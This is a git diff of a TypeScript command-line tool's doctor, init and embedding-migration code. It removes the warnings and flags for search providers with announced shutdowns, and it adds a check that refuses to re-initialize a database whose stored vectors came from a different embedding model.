- * - overrides present AND the PURE-BUNDLE resolution (what `--reset`
- * restores) matching RERANKER_SUNSETS → keep `ok`, but WITHHOLD the
- * reset recommendation and name the overrides load-bearing;
- * - otherwise the original [CDX-20] behavior is unchanged.
*/
export async function checkSearchMode(engine: BrainEngine): Promise<Check> {
@@ -80,49 +68,15 @@ export async function checkSearchMode(engine: BrainEngine): Promise<Check> {
// override roster — they aren't knobs.
const overrideKeys = overrides.filter(k => k !== 'search.mode' && k !== 'search.mode_upgrade_notice_shown');
- // #3657/#4382: resolve the active reranker AND what a reset would arm.
- let activeSunset: import('../../../core/ai/defaults.ts').RerankerSunset | null = null;
- let resetSunset: import('../../../core/ai/defaults.ts').RerankerSunset | null = null;
- let activeReranker: string | undefined;
- let resetReranker: string | undefined;
- try {
- const { loadSearchModeConfig, resolveSearchMode } = await import('../../../core/search/mode.ts');
- const { rerankerSunset } = await import('../../../core/ai/defaults.ts');
- const loaded = await loadSearchModeConfig(engine);
- const active = resolveSearchMode(loaded);
- if (active.reranker_enabled) {
- activeReranker = active.reranker_model;
- activeSunset = rerankerSunset(active.reranker_model);
- }
- // Pure bundle for the same mode — `search modes --reset` clears the
- // per-key overrides but deliberately preserves search.mode.
- const bundle = resolveSearchMode({ mode: loaded.mode });
- if (bundle.reranker_enabled) {
- resetReranker = bundle.reranker_model;
- resetSunset = rerankerSunset(bundle.reranker_model);
- }
- } catch {
- // Mode resolution failed — make no sunset claim; legacy copy below.
- }
-
+ const { loadSearchModeConfig, resolveSearchMode } = await import('../../../core/search/mode.ts');
+ const loaded = await loadSearchModeConfig(engine);
+ const resetReranker = resolveSearchMode({ mode: loaded.mode }).reranker_model;
const context = !mode
? 'search.mode is unset (using balanced fallback). Run `gbrain search modes` to see what is running and pick a mode explicitly.'
: overrideKeys.length === 0
? `Mode: ${mode} (no per-key overrides — mode bundle is canonical).`
: `Mode: ${mode} with ${overrideKeys.length} per-key override(s) (${overrideKeys.join(', ')}).`;
- if (activeSunset) {
- return {
- name: 'search_mode',
- status: 'warn',
- message:
- `${context} The active reranker (${activeReranker}) is on a provider with an announced ` +
- `shutdown: the hosted API dies on ${activeSunset.date}, after which rerank calls fail open ` +
- `to unreranked order. Fix: gbrain config set search.reranker.model ${activeSunset.replacement} ` +
- `(or disable: gbrain config set search.reranker.enabled false).`,
- };
- }
-
if (!mode || overrideKeys.length === 0) {
return { name: 'search_mode', status: 'ok', message: context };
}
@@ -146,20 +100,6 @@ export async function checkSearchMode(engine: BrainEngine): Promise<Check> {
};
}
- if (resetSunset) {
- // Overrides are what keep this brain OFF the sunsetting bundle default
- // — recommending a reset here re-arms a dying provider (#4382).
- return {
- name: 'search_mode',
- status: 'ok',
- message:
- `${context} These override(s) are load-bearing: a mode-bundle reset would restore ` +
- `reranker_model=${resetReranker}, whose provider shuts down on ${resetSunset.date} — ` +
- `so no consolidation is recommended. To consolidate later, first re-set ` +
- `search.reranker.model to a live provider after resetting.`,
- };
- }
-
return {
name: 'search_mode',
status: 'ok',
@@ -239,27 +179,6 @@ export async function checkEvalDrift(engine: BrainEngine): Promise<Check> {
* before a job is submitted.
*/
-/**
- * v0.41.2.1 — embedding_env_override (D9 #9). Defense-in-depth for the
- * ze-switch env-override class (the 716K-chunk damage incident from
- * PR #1421's description).
- *
- * GBRAIN_EMBEDDING_MODEL / GBRAIN_EMBEDDING_DIMENSIONS win over DB+file
- * config in loadConfig(). When env disagrees with DB, the gateway embeds
- * with the env-selected model — even after ze-switch wrote a different
- * value to DB. This check surfaces that disagreement on every hourly
- * doctor run so users can spot the drift before the embed sweep corrupts
- * vectors at the wrong width.
- *
- * Uses Check.details (NOT Check.issues, which has a different schema)
- * so the structured `mismatches[]` payload is consumable by monitoring
- * pipelines without ad-hoc type widening.
- *
- * Cross-surface parity: wired into BOTH buildChecks() and
- * doctorReportRemote() — operators running thin-client doctor against
- * a remote brain see the server's env, which is the env that matters
- * for the embed pipeline running there.
- */
export async function checkEmbeddingEnvOverride(engine: BrainEngine): Promise<Check> {
const envModel = process.env.GBRAIN_EMBEDDING_MODEL?.trim();
const envDim = process.env.GBRAIN_EMBEDDING_DIMENSIONS?.trim();
diff --git a/src/commands/eval-cross-modal.ts b/src/commands/eval-cross-modal.ts
index e2e9e98e71..1176ee2c1a 100644
--- a/src/commands/eval-cross-modal.ts
+++ b/src/commands/eval-cross-modal.ts
@@ -23,6 +23,7 @@ import { createHash } from 'crypto';
import { gbrainPath, loadConfig } from '../core/config.ts';
import { configureGateway, getChatModel, isAvailable } from '../core/ai/gateway.ts';
+import { buildGatewayConfig } from '../core/ai/build-gateway-config.ts';
import { runWithLimit } from '../core/worker-pool.ts';
import { resolveCycleDefault, cycleDefaultSuffix } from '../core/eval/cycle-default.ts';
import {
@@ -280,16 +281,7 @@ function configureGatewayForCli(): boolean {
});
return true;
}
- configureGateway({
- embedding_model: config.embedding_model,
- embedding_dimensions: config.embedding_dimensions,
- expansion_model: config.expansion_model,
- chat_model: config.chat_model,
- chat_fallback_chain: config.chat_fallback_chain,
- base_urls: config.provider_base_urls,
- provider_chat_options: config.provider_chat_options,
- env: { ...process.env },
- });
+ configureGateway(buildGatewayConfig(config));
return true;
}
diff --git a/src/commands/eval-takes-quality.ts b/src/commands/eval-takes-quality.ts
index b63303982d..aec87b5e1d 100644
--- a/src/commands/eval-takes-quality.ts
+++ b/src/commands/eval-takes-quality.ts
@@ -21,6 +21,7 @@
*/
import type { BrainEngine } from '../core/engine.ts';
import { configureGateway } from '../core/ai/gateway.ts';
+import { buildGatewayConfig } from '../core/ai/build-gateway-config.ts';
import { loadConfig } from '../core/config.ts';
import { runEval, DEFAULT_MODEL_PANEL } from '../core/takes-quality-eval/runner.ts';
import { resolveCycleDefault, cycleDefaultSuffix } from '../core/eval/cycle-default.ts';
@@ -128,7 +129,7 @@ export async function runEvalTakesQuality(engine: BrainEngine, args: string[]):
// Self-configure the AI gateway (mirrors eval-cross-modal pattern). The
// gateway needs config.ai_gateway + env vars; configureGateway reads both.
const cfg = loadConfig();
- configureGateway({ ...cfg, ...(process.env as Record<string, string>) } as any);
+ configureGateway(cfg ? buildGatewayConfig(cfg) : { env: { ...process.env } });
const { subcmd, argv, json } = parseSubcmd(args);
diff --git a/src/commands/init-provider-picker.ts b/src/commands/init-provider-picker.ts
index ad3bdf799e..115063b213 100644
--- a/src/commands/init-provider-picker.ts
+++ b/src/commands/init-provider-picker.ts
@@ -123,12 +123,6 @@ export async function pickProvider(opts: PickProviderOpts): Promise<PickedProvid
const all = listRecipes();
let ready = readyRecipesForTouchpoint(all, opts.touchpoint, env);
- // v0.46.3: never OFFER a provider whose hosted API has an announced shutdown
- // (recipe.sunset) — a fresh install must not be steered onto a dying
- // provider. Explicit --embedding-model still works (with a loud warning)
- // until the removal release.
- ready = ready.filter((r) => !r.sunset);
-
// Probe-gate the ollama daemon: `envReady` treats no-key-required as
// ready, but daemon-up ≠ model-pulled — the exact trap that let a keyless
// Enter "choose" a broken ollama config and continue silently degraded.
diff --git a/src/commands/init.ts b/src/commands/init.ts
index 84b4cea486..63e1add154 100644
--- a/src/commands/init.ts
+++ b/src/commands/init.ts
@@ -1,4 +1,3 @@
-import { isZeroEntropyModel } from '../core/ai/defaults.ts';
import { execSync } from 'child_process';
import { readdirSync, lstatSync, existsSync, copyFileSync, mkdirSync, readFileSync } from 'fs';
import { join, dirname } from 'path';
@@ -15,6 +14,8 @@ import { PgliteBusyError } from '../core/pglite-lock.ts';
import { inspectRemoteInitState, preserveConversionConfig, readInitConfigState, printInAgentReady } from '../core/agent-install/init-state.ts';
import { isNewContentDatabase, setupSharedBrainContent, type SharedContentOptions } from '../core/shared-skills/setup.ts';
import { resolveSourceId } from '../core/source-resolver.ts';
+import type { BrainEngine } from '../core/engine.ts';
+import { readPrimaryEmbeddingStores, readStoredEmbeddingIdentity } from '../core/stored-embedding-identity.ts';
export async function runInit(args: string[]) {
// Help guard: cli.ts only routes --help to printOpHelp() for shared-op
@@ -453,27 +454,6 @@ async function resolveAIOptions(opts: ResolveAIOptionsArgs): Promise<ResolvedAIO
}
}
- // v0.46.3: an explicitly-requested sunset provider (verbose or shorthand form)
- // is allowed until the removal release, but never silently — warn loudly and
- // proceed (D3: hide + warn, allow explicit).
- if (out.embedding_model) {
- const { getRecipe } = await import('../core/ai/recipes/index.ts');
- const { NEW_INSTALL_DEFAULT_EMBEDDING_MODEL, renderCanonicalMigrationCommands } =
- await import('../core/ai/defaults.ts');
- const sunsetRecipe = getRecipe(out.embedding_model.split(':')[0]);
- if (sunsetRecipe?.sunset) {
- const rep = sunsetRecipe.sunset.replacement?.embedding;
- const initMigrateCmd = rep === NEW_INSTALL_DEFAULT_EMBEDDING_MODEL || !rep
- ? renderCanonicalMigrationCommands().recommendedDryRun
- : `gbrain migrate embeddings --to ${rep} --dry-run`;
- console.error(
- `WARNING: ${sunsetRecipe.name} stops working on ${sunsetRecipe.sunset.date}. ` +
- `Proceeding because you asked explicitly${rep ? `, but the recommended provider is ${rep}` : ''}. ` +
- `Migrate before that date: ${initMigrateCmd}`,
- );
- }
- }
-
if (expansion) out.expansion_model = expansion;
if (chat) out.chat_model = chat;
@@ -554,10 +534,6 @@ export async function groupReadyByProvider(
// still picker-selectable explicitly, but silent auto-pick is wrong UX.
const required = r.auth_env?.required ?? [];
if (required.length === 0) continue;
- // v0.46.3: never auto-pick a provider whose hosted API has an announced
- // shutdown (recipe.sunset). Explicit --embedding-model still works
- // (with a loud warning) until the removal release.
- if (r.sunset) continue;
if (envReady(r, env)) {
ready.push({ recipeId: r.id, recipe: r });
seen.add(r.id);
@@ -622,24 +598,6 @@ function printNoEmbeddingProviderHint(typos: Array<{ userSet: string; suggested:
}
}
-/**
- * v0.48.2: the mode-bundle reranker default IS `voyage:rerank-2.5` now
- * (`DEFAULT_RERANKER_MODEL`), so a Voyage-keyed install needs NO reranker
- * config row — an explicit `search.reranker.model` equal to the bundle value
- * would only earn doctor's `search_mode` reset nag. Keyed NON-voyage installs
- * (e.g. openai) still get explicit `search.reranker.enabled false`: they have
- * no key for the default and silence beats a `no_key` audit row per process.
- * KEYLESS installs deliberately get NO write — the documented keyless-recovery
- * re-init must find virgin reranker config, and keyless brains take the
- * no-embedding search path, which never reaches applyReranker. A ZeroEntropy
- * embedding pick is just another keyed non-Voyage install now (its hosted
- * reranker dies 2026-09-04; doctor names the migration). Never clobbers an existing explicit
- * choice (re-init preserves user config). Best-effort: reranking is fail-open,
- * a missed override degrades to no-rerank, never breaks init. Shared by the
- * PGLite and Postgres init paths. Readiness comes from the same predicate
- * doctor and `gbrain search modes` use (`reranker-readiness.ts`), fed the
- * file-plane + process env (init cannot use the gateway or `loadConfig()`).
- */
async function writeNewInstallRerankerDefault(
engine: { getConfig(key: string): Promise<string | null>; setConfig(key: string, value: string): Promise<void> },
resolvedModel: string | undefined,
@@ -759,70 +717,6 @@ async function resolveEmbeddingByEnv(out: ResolvedAIOptions, nonInteractive: boo
// MEANT to configure a key — completing keyless there would silently bury
// their typo.
if (ready.length === 0) {
- // v0.46.3: the sunset exclusion must NOT convert a working legacy brain to
- // keyless. A configless EXISTING brain (config.json has a database but no
- // embedding_model — it rides the legacy runtime fallback) being re-inited
- // with only a sunset-provider key would otherwise land in the zero-ready
- // path and get `embedding_disabled: true` written — disabling semantic
- // search BEFORE the provider's shutdown. When the brain already depends
- // on the sunsetting provider and its key is present, keep it (with the
- // loud warning); FRESH installs still never get steered onto it.
- const { listRecipes } = await import('../core/ai/recipes/index.ts');
- const { envReady } = await import('./providers.ts');
- const sunsetReady = listRecipes().filter(
- (r) =>
- r.sunset &&
- (r.auth_env?.required ?? []).length > 0 &&
- envReady(r, effectiveEnv) &&
- (r.touchpoints.embedding?.models?.length ?? 0) > 0,
- );
- if (sunsetReady.length > 0) {
- const fileCfg = fileCfgForKeys;
- const existingConfiglessBrain =
- !!fileCfg &&
- !!(fileCfg.database_path || fileCfg.database_url) &&
- !fileCfg.embedding_model &&
- fileCfg.embedding_disabled !== true;
- if (!existingConfiglessBrain) {
- // FRESH install with only a sunset-provider key: keyless-continue is
- // right, but "no keys detected" would be false — name the key we
- // deliberately ignored and the way out (D3: hide + WARN, not hide
- // silently).
- const r = sunsetReady[0];
- console.error(
- `NOTE: ${r.auth_env?.required?.[0] ?? r.id} is set, but ${r.name} shuts down on ` +
- `${r.sunset!.date} — not auto-selecting it for a new brain. ` +
- `Set VOYAGE_API_KEY (recommended) or force it explicitly: ` +
- `gbrain init --pglite --embedding-model ${r.id}:${r.touchpoints.embedding!.default_model ?? r.touchpoints.embedding!.models[0]} (not recommended).`,
- );
- }
- if (existingConfiglessBrain) {
- const r = sunsetReady[0];
- const tp = r.touchpoints.embedding!;
- const model = tp.default_model ?? tp.models[0];
- const fullModel = `${r.id}:${model}`;
- const { DEFAULT_EMBEDDING_MODEL, DEFAULT_EMBEDDING_DIMENSIONS,
- NEW_INSTALL_DEFAULT_EMBEDDING_MODEL, renderCanonicalMigrationCommands } =
- await import('../core/ai/defaults.ts');
- const { embeddingDimsForModel } = await import('../core/ai/model-resolver.ts');
- // Legacy brains ride the legacy width (their stored vectors live there).
- const dims = fullModel === DEFAULT_EMBEDDING_MODEL
- ? DEFAULT_EMBEDDING_DIMENSIONS
- : embeddingDimsForModel(r, model);
- out.embedding_model = fullModel;
- out.embedding_dimensions = dims;
- const keepMigrateCmd = r.sunset!.replacement?.embedding === NEW_INSTALL_DEFAULT_EMBEDDING_MODEL
- || !r.sunset!.replacement?.embedding
- ? renderCanonicalMigrationCommands({ colDims: dims }).recommendedDryRun
- : `gbrain migrate embeddings --to ${r.sunset!.replacement.embedding} --dry-run`;
- console.error(
- `WARNING: this brain currently embeds via ${r.name}, which stops working on ` +
- `${r.sunset!.date}. Keeping ${fullModel} (${dims}d) so nothing breaks today — ` +
- `migrate before that date: ${keepMigrateCmd}`,
- );
- return;
- }
- }
const typos = await findEnvKeyTypos();
if (typos.length > 0) {
printNoEmbeddingProviderHint(typos);
@@ -1104,19 +998,6 @@ async function initRemoteMcp(opts: {
}
}
-/**
- * Configure the AI gateway with the merged precedence
- * `CLI flags > env > existing file > gateway internal defaults`, then read
- * back the resolved values so the caller can both print them and persist
- * them to config.json.
- *
- * v0.37 fix wave (Lane B.1/B.2/B.3): pre-fix, the gateway was only configured
- * when a flag was passed. Bare `gbrain init --pglite` left the gateway
- * unconfigured and engine.initSchema() fell through to stale OpenAI/1536
- * defaults — schema sized to 1536 while the ZE default emitted 1280. Now
- * the gateway is ALWAYS configured before initSchema; the schema matches
- * the resolved provider/dim out of the box.
- */
async function configureGatewayWithMergedPrecedence(
aiOpts?: { embedding_model?: string; embedding_dimensions?: number; expansion_model?: string; chat_model?: string },
): Promise<{ embedding_model: string; embedding_dimensions: number; expansion_model: string; chat_model: string }> {
@@ -1153,9 +1034,6 @@ async function configureGatewayWithMergedPrecedence(
};
}
-/**
- * Print the resolved AI choice + a ZE setup hint when applicable.
- */
function printResolvedAIChoice(
resolved: { embedding_model: string; embedding_dimensions: number; expansion_model: string; chat_model: string },
aiOpts?: { embedding_model?: string },
@@ -1166,21 +1044,18 @@ function printResolvedAIChoice(
console.log(` Expansion: ${resolved.expansion_model}`);
console.log(` Chat: ${resolved.chat_model}`);
- // ZE setup hint: if resolved provider is ZE and no ZE key is set in env
- // OR in the file plane, surface the setup gap at init time instead of
- // letting the first embed call blow up. After Lane C, file-plane
- // zeroentropy_api_key propagates through buildGatewayConfig.
- if (isZeroEntropyModel(resolved.embedding_model)) {
- const fileCfg = loadConfigFileOnly();
- if (!process.env.ZEROENTROPY_API_KEY && !fileCfg?.zeroentropy_api_key) {
- console.warn('');
- console.warn(' Heads up: ZEROENTROPY_API_KEY is not set.');
- console.warn(' Set it before first embed:');
- console.warn(' export ZEROENTROPY_API_KEY=...');
- console.warn(' Or add to ~/.gbrain/config.json:');
- console.warn(' "zeroentropy_api_key": "..."');
- console.warn(' NOTE: ZeroEntropy shuts down 2026-09-04 — prefer the default instead:');
- console.warn(' gbrain init --pglite --embedding-model voyage:voyage-4');
+}
+
+async function assertInitEmbeddingIdentity(engine: BrainEngine, model: string | undefined): Promise<void> {
+ if (!model) return;
+ const stored = await readStoredEmbeddingIdentity(engine);
+ if (stored?.model === model) return;
+ for (const table of await readPrimaryEmbeddingStores(engine)) {
+ const rows = await engine.executeRaw<{ present: boolean }>(
+ `SELECT EXISTS (SELECT 1 FROM ${table} WHERE embedding IS NOT NULL) AS present`,
+ );
+ if (rows[0]?.present) {
+ throw new Error('Existing vectors belong to a different or unrecorded embedding model. Re-initialization cannot change their identity, even at the same width. Run gbrain migrate embeddings --status and preview an explicit migration with --dry-run.');
}
}
}
@@ -1246,46 +1121,34 @@ export async function initPGLite(opts: {
// (resolvedDim is undefined).
const { NEW_INSTALL_DEFAULT_EMBEDDING_DIMENSIONS: newInstallDims } =
await import('../core/ai/defaults.ts');
- configureGateway({
- embedding_model: resolvedModel ?? opts.aiOpts?.embedding_model,
- embedding_dimensions:
- resolvedDim ?? opts.aiOpts?.embedding_dimensions ??
- (opts.aiOpts?.noEmbedding ? newInstallDims : undefined),
- expansion_model: opts.aiOpts?.expansion_model,
- chat_model: opts.aiOpts?.chat_model,
- env: { ...process.env },
- });
if (resolvedModel) console.log(` Embedding: ${resolvedModel} (${resolvedDim}d)`);
if (opts.aiOpts?.expansion_model) console.log(` Expansion: ${opts.aiOpts.expansion_model}`);
if (opts.aiOpts?.chat_model) console.log(` Chat: ${opts.aiOpts.chat_model}`);
- // v0.42 (#1780 Gap 2): validate the embedding key at init for ALL providers
- // (generalizes the prior ZeroEntropy-only warning). Config-only diagnose
- // catches a missing key; a best-effort live test-embed catches an
- // invalid/expired key. Loud warning to stderr, init still succeeds.
- // Skipped by --no-embedding / --skip-embed-check / GBRAIN_INIT_SKIP_EMBED_CHECK=1.
- const embedCheck = await runInitEmbedCheck({
- resolvedModel,
- resolvedDim,
- expansionModel: opts.aiOpts?.expansion_model,
- chatModel: opts.aiOpts?.chat_model,
- apiKey: opts.apiKey ?? undefined,
- noEmbedding: opts.aiOpts?.noEmbedding,
- skipFlag: opts.skipEmbedCheck,
- });
const engine = await createEngine({ engine: 'pglite' });
try {
await engine.connect({ database_path: dbPath, engine: 'pglite' });
const freshContentDatabase = await isNewContentDatabase(engine);
+ await assertInitEmbeddingIdentity(engine, resolvedModel);
+ configureGateway({
+ embedding_model: resolvedModel ?? opts.aiOpts?.embedding_model,
+ embedding_dimensions: resolvedDim ?? opts.aiOpts?.embedding_dimensions ??
+ (opts.aiOpts?.noEmbedding ? newInstallDims : undefined),
+ expansion_model: opts.aiOpts?.expansion_model,
+ chat_model: opts.aiOpts?.chat_model,
+ env: { ...process.env },
+ });
+ const embedCheck = await runInitEmbedCheck({
+ resolvedModel,
+ resolvedDim,
+ expansionModel: opts.aiOpts?.expansion_model,
+ chatModel: opts.aiOpts?.chat_model,
+ apiKey: opts.apiKey ?? undefined,
+ noEmbedding: opts.aiOpts?.noEmbedding,
+ skipFlag: opts.skipEmbedCheck,
+ });
- // v0.28.5 (A4) + v0.37.11.0 Lane B.5: refuse to silently re-template an
- // existing brain with a mismatched embedding dimension. Catches both the
- // explicit-flag case (v0.28.5) AND the bare-init case where a user with
- // a 1536 brain runs `gbrain init --pglite` after upgrading to v0.36+
- // and would silently end up with runtime ZE/1280 against a 1536 column
- // (Lane B.5). Fresh-install case is now structurally impossible after
- // v0.37.10.0 T6's preflight.
if (resolvedDim) {
const { readContentChunksEmbeddingDim, embeddingMismatchMessage } = await import('../core/embedding-dim-check.ts');
const existing = await readContentChunksEmbeddingDim(engine);
@@ -1336,14 +1199,6 @@ export async function initPGLite(opts: {
await writeNewInstallRerankerDefault(engine, resolvedModel);
- // v0.37.10.0 T7 (D9) + v0.37.11.0 Lane B.4: atomic embedding-config
- // persistence on top of the existing file-plane config (preserves
- // user-set fields like zeroentropy_api_key, chat_model, expansion_model).
- // Either the deferred-setup sentinel (`embedding_disabled: true`) OR the
- // resolved (model, dimensions) tuple. Never a partial state. Precedence:
- // CLI flags this invocation > existing file plane > resolved defaults.
- // Use loadConfigFileOnly() — loadConfig() would poison config.json with
- // any DATABASE_URL the current process happens to have set (CDX2-7).
const existingFile = loadConfigFileOnly() ?? ({} as GBrainConfig);
const config: GBrainConfig = {
...existingFile,
@@ -1555,32 +1410,10 @@ export async function initPostgresCore(opts: {
// PGLite path's comment — same explicit-param rationale).
const { NEW_INSTALL_DEFAULT_EMBEDDING_DIMENSIONS: newInstallDims } =
await import('../core/ai/defaults.ts');
- configureGateway({
- embedding_model: resolvedModel ?? opts.aiOpts?.embedding_model,
- embedding_dimensions:
- resolvedDim ?? opts.aiOpts?.embedding_dimensions ??
- (opts.aiOpts?.noEmbedding ? newInstallDims : undefined),
- expansion_model: opts.aiOpts?.expansion_model,
- chat_model: opts.aiOpts?.chat_model,
- env: { ...process.env },
- });
if (resolvedModel) console.log(` Embedding: ${resolvedModel} (${resolvedDim}d)`);
if (opts.aiOpts?.expansion_model) console.log(` Expansion: ${opts.aiOpts.expansion_model}`);
if (opts.aiOpts?.chat_model) console.log(` Chat: ${opts.aiOpts.chat_model}`);
- // v0.42 (#1780 Gap 2): validate the embedding key at init for ALL providers
- // (generalizes the prior ZeroEntropy-only warning). Same contract as the
- // PGLite path: loud warning to stderr, init still succeeds; skipped by
- // --no-embedding / --skip-embed-check / GBRAIN_INIT_SKIP_EMBED_CHECK=1.
- const embedCheck = await runInitEmbedCheck({
- resolvedModel,
- resolvedDim,
- expansionModel: opts.aiOpts?.expansion_model,
- chatModel: opts.aiOpts?.chat_model,
- apiKey: opts.apiKey ?? undefined,
- noEmbedding: opts.aiOpts?.noEmbedding,
- skipFlag: opts.skipEmbedCheck,
- });
// Detect Supabase direct connection URLs and warn about IPv6
if (databaseUrl.match(/db\.[a-z]+\.supabase\.co/) || databaseUrl.includes('.supabase.co:5432')) {
@@ -1613,6 +1446,24 @@ export async function initPostgresCore(opts: {
}
const freshContentDatabase = await isNewContentDatabase(engine);
+ await assertInitEmbeddingIdentity(engine, resolvedModel);
+ configureGateway({
+ embedding_model: resolvedModel ?? opts.aiOpts?.embedding_model,
+ embedding_dimensions: resolvedDim ?? opts.aiOpts?.embedding_dimensions ??
+ (opts.aiOpts?.noEmbedding ? newInstallDims : undefined),
+ expansion_model: opts.aiOpts?.expansion_model,
+ chat_model: opts.aiOpts?.chat_model,
+ env: { ...process.env },
+ });
+ const embedCheck = await runInitEmbedCheck({
+ resolvedModel,
+ resolvedDim,
+ expansionModel: opts.aiOpts?.expansion_model,
+ chatModel: opts.aiOpts?.chat_model,
+ apiKey: opts.apiKey ?? undefined,
+ noEmbedding: opts.aiOpts?.noEmbedding,
+ skipFlag: opts.skipEmbedCheck,
+ });
// Check and auto-create pgvector extension
try {
diff --git a/src/commands/migrate-embeddings.ts b/src/commands/migrate-embeddings.ts
index 6e39ec1fbf..3d4f50d6c3 100644
--- a/src/commands/migrate-embeddings.ts
+++ b/src/commands/migrate-embeddings.ts
@@ -1,38 +1,3 @@
-/**
- * `gbrain migrate embeddings --to <provider:model>` (#3390) — the
- * provider-agnostic forward migration off any embedding provider, built for
- * the ZeroEntropy 2026-09-04 sunset but not keyed to it.
- *
- * Also reachable as `gbrain retrieval-upgrade` — the command README.md and
- * doctor.ts have promised since v0.36 but which never had a dispatch branch.
- *
- * This file is the orchestrator (planMigrationFlow + executeMigrationFlow);
- * every heavy primitive lives in src/core/embedding-migration.ts and is
- * shared with the `migrate_embeddings` op, doctor, and `--status`.
- *
- * Execute flow:
- * 1. global migration lock (GLOBAL_MIGRATION_LOCK_ID) — serializes whole
- * migrations, including empty-brain runs that lock zero sources
- * 2. retarget gate — a live marker for a DIFFERENT target refuses without
- * --retarget; same-target resumes (started_at preserved)
- * 3. per-source embed-backfill locks, all sources sorted (includeArchived),
- * held across the drain via heldLocks + a heartbeat that aborts on loss
- * 4. probe — one live embed against the TARGET provider BEFORE any mutation
- * 5. apply — schema transition (per-column width repair), config (DB +
- * file plane; env-canonical when no file exists), NULL-signature-
- * inclusive invalidation, query-cache purge, marker v2 write
- * 6. reranker companion — probe + one-tx config write + cache purge
- * 7. re-embed drain — runEmbedCore --stale --catch-up under the held locks
- * 8. reconcile signatures, then verifyMigrationComplete (DB reality, not
- * config), verifySearchRoundTrip smoke check, transactional completion
- * bookkeeping (live-marker delete + completed-marker write, one tx)
- *
- * Resumable: a killed run re-runs the SAME command; the NULL-embedding cursor
- * is the checkpoint and already-converged steps no-op on the second pass.
- * `--status` is a separate read-only branch (readMigrationStatus) that never
- * embeds and never refuses on env.
- */
-
import type { BrainEngine } from '../core/engine.ts';
import { serr, slog } from '../core/console-prefix.ts';
import {
@@ -82,7 +47,6 @@ export interface MigrateEmbeddingsFlags {
json: boolean;
noEmbed: boolean;
ignoreEnvOverride: boolean;
- forceSunsetTarget: boolean;
retarget: boolean;
/** auto (default) | off | keep | <provider:model> */
reranker?: string;
@@ -107,7 +71,6 @@ export function parseMigrateEmbeddingsFlags(args: string[]): MigrateEmbeddingsFl
json: args.includes('--json'),
noEmbed: args.includes('--no-embed'),
ignoreEnvOverride: args.includes('--ignore-env-override'),
- forceSunsetTarget: args.includes('--force-sunset-target'),
retarget: args.includes('--retarget'),
...(reranker !== undefined && { reranker }),
...(batchSize !== undefined && { batchSize }),
@@ -120,8 +83,7 @@ function printHelp(): void {
Re-embed the whole brain onto a different embedding provider/model. Handles
dimension changes (schema transition), pages without a recorded embedding
-signature (#3391), the query cache, and resume-after-kill. The forward path
-off a sunsetting provider.
+signature (#3391), the query cache, and resume-after-kill.
Flags:
--to <provider:model> Target embedding model (e.g. openai:text-embedding-3-small).
@@ -137,9 +99,6 @@ Flags:
--pace[=mode] DB-contention pacing for the re-embed (off|gentle|balanced|aggressive).
--ignore-env-override Proceed even when GBRAIN_EMBEDDING_* env vars would
override the target at runtime (you know why).
- --force-sunset-target Allow migrating ONTO a provider with an announced
- shutdown (e.g. a self-hosted wire-compatible endpoint
- behind a provider_base_urls override).
--retarget Abandon a DIFFERENT in-flight migration target and
start this one (the refusal message names both the
resume and retarget commands).
@@ -448,7 +407,6 @@ export interface MigrationFlowOpts {
to: string;
dim?: number;
ignoreEnvOverride?: boolean;
- forceSunsetTarget?: boolean;
retarget?: boolean;
/** auto (default) | off | keep | <provider:model> — see resolveRerankerPlan. */
reranker?: string;
@@ -521,7 +479,7 @@ export type MigrationFlowResult =
*/
export async function planMigrationFlow(
engine: BrainEngine,
- opts: Pick<MigrationFlowOpts, 'to' | 'dim' | 'forceSunsetTarget' | 'reranker'>,
+ opts: Pick<MigrationFlowOpts, 'to' | 'dim' | 'reranker'>,
): Promise<MigrationPlanContext> {
// From-state as the gateway resolved it (file/env config + defaults) —
// display only; nothing load-bearing trusts it (D2).
@@ -538,7 +496,6 @@ export async function planMigrationFlow(
...(opts.dim !== undefined && { dim: opts.dim }),
...(fromModel !== undefined && { fromModel }),
...(fromDims !== undefined && { fromDims }),
- ...(opts.forceSunsetTarget && { allowSunsetTarget: true }),
});
const envPresence = detectEnvPresence();
@@ -682,7 +639,6 @@ export async function executeMigrationFlow(
const applied = await applyEmbeddingMigration(engine, plan, {
ignoreEnvOverride: opts.ignoreEnvOverride,
- forceSunsetTarget: opts.forceSunsetTarget,
persistConfig: (m, d) => persistEmbeddingFileConfig(m, d),
});
if (applied.status === 'refused') return { status: 'refused_env', warning: applied.warning };
@@ -804,7 +760,7 @@ export async function runMigrateEmbeddings(
const envPresence = detectEnvPresence();
// API-key PRESENCE only — never values (Section 3).
const keyPresence: Record<string, boolean> = {};
- for (const k of ['VOYAGE_API_KEY', 'OPENAI_API_KEY', 'ZEROENTROPY_API_KEY', 'OPENROUTER_API_KEY']) {
+ for (const k of ['VOYAGE_API_KEY', 'OPENAI_API_KEY', 'OPENROUTER_API_KEY']) {
keyPresence[k] = Boolean(process.env[k]);
}
let filePlane: { model?: string | null; dims?: number | null } | null = null;
@@ -893,7 +849,6 @@ export async function runMigrateEmbeddings(
ctx = await planMigrationFlow(engine, {
to: flags.to!,
...(flags.dim !== undefined && { dim: flags.dim }),
- ...(flags.forceSunsetTarget && { forceSunsetTarget: true }),
...(flags.reranker !== undefined && { reranker: flags.reranker }),
});
} catch (e) {
@@ -974,7 +929,6 @@ export async function runMigrateEmbeddings(
to: flags.to!,
...(flags.dim !== undefined && { dim: flags.dim }),
ignoreEnvOverride: flags.ignoreEnvOverride,
- forceSunsetTarget: flags.forceSunsetTarget,
retarget: flags.retarget,
...(flags.reranker !== undefined && { reranker: flags.reranker }),
noEmbed: flags.noEmbed,
diff --git a/src/commands/migrate-engine.ts b/src/commands/migrate-engine.ts
index 078e4a169d..6684cce01e 100644
--- a/src/commands/migrate-engine.ts
+++ b/src/commands/migrate-engine.ts
@@ -370,27 +370,6 @@ export async function copyMigrationFacts(
return result;
}
-/**
- * #4350: engine-LOCAL config rows that must not follow the data to the
- * target. Everything else in the config table copies verbatim — the pre-fix
- * allowlist of 3 keys silently dropped sync anchors (`sync.repo_path`),
- * search settings, feature toggles: everything an operator had tuned.
- *
- * - 'engine': the seeded engine-identity row; the target's own initSchema
- * stamped the correct value for itself.
- * - 'version': the schema-migration ledger position. The target's own
- * initSchema stamped it at the current latest; overwriting it with the
- * source's (potentially older) value would make apply-migrations re-run
- * against a schema that already has them.
- * - 'embedding_columns' / 'search_embedding_column': registry of (and active
- * pointer into) PHYSICAL vector columns added to the source database by
- * ze-switch DDL. The copy does not create those columns on the target, so
- * carrying the registry would advertise columns that don't exist — and
- * break search outright if the active pointer names one. Re-run
- * `gbrain ze switch` on the target to rebuild them.
- *
- * Skipped keys are printed in the migration summary — never silent.
- */
